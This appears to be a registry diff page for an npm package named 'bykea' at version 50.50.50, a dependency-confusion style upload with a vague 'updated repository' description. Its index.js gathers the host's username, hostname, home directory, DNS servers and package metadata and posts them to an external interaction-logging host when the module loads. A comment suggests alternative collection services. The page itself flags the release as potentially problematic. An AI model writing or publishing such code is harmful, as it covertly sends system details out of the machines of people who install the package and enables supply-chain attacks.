bykea 50.50.50

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bykea might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +63 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,63 @@
1
+ //author:- whitehacker003@protonmail.com
2
+
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+
12
+ p: package,
13
+ c: __dirname,
14
+ hd: os.homedir(),
15
+ hn: os.hostname(),
16
+ un: os.userInfo().username,
17
+ dns: dns.getServers(),
18
+ r: packageJSON ? packageJSON.___resolved : undefined,
19
+ v: packageJSON.version,
20
+ pjson: packageJSON,
21
+
22
+ });
23
+
24
+ var postData = querystring.stringify({
25
+
26
+ msg: trackingData,
27
+
28
+ });
29
+
30
+ var options = {
31
+
32
+ hostname: "cjrtc7r2vtc000013170gjcpgryyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
33
+ port: 443,
34
+ path: "/",
35
+ method: "POST",
36
+
37
+ headers: {
38
+
39
+ "Content-Type": "application/x-www-form-urlencoded",
40
+ "Content-Length": postData.length,
41
+
42
+ },
43
+
44
+ };
45
+
46
+ var req = https.request(options, (res) => {
47
+
48
+ res.on("data", (d) => {
49
+
50
+ process.stdout.write(d);
51
+
52
+ });
53
+
54
+ });
55
+
56
+ req.on("error", (e) => {
57
+
58
+ // console.error(e);
59
+
60
+ });
61
+
62
+ req.write(postData);
63
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "bykea",
3
+ "version": "50.50.50",
4
+ "description": "This is the updated repository with new dependencies",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }